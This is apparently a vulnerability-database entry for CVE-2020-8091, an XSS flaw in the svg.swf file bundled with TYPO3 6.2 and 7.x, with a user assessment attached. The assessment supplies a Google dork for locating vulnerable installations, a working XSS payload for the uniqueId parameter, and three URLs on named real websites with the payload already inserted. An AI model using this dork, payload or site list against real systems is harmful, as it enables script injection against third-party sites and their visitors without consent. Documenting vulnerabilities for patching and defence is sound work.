CVE-2020-8091

svg.swf in TYPO3 6.2.0 to 6.2.38 ELTS and 7.0.0 to 7.1.0 could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack on a targeted system. This may be at a contrib/websvg/svg.swf pathname.

Recent assessments:

Mad-robot at July 05, 2020 1:27pm UTC reported:

DESCRIPTION-

TYPO3 6.2.0 to 6.2.38 ELTS and TYPO3 7.0.0 to 7.1.0 (CVE-2020-8091). These versions embed a third-party component named SVG Web which provides svg.swf, a Flash file vulnerable to cross-site scripting.

Google Dork

inurl:"typo3/contrib/websvg"

Works on IE

PROOF OF CONCEPT-
Payload: svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert("XSS"),this.x=1}//

Live sites:

https://www.bulac.fr/typo3/contrib/websvg/svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert(%22XSS%22),this.x=1}//

www.roz.si/typo3/contrib/websvg/svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert(%22XSS%22),this.x=1}//

www.urbanek-consulting.com/typo3/contrib/websvg/svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert(%22XSS%22),this.x=1}//

Assessed Attacker Value: 3
Assessed Attacker Value: 3Assessed Attacker Value: 5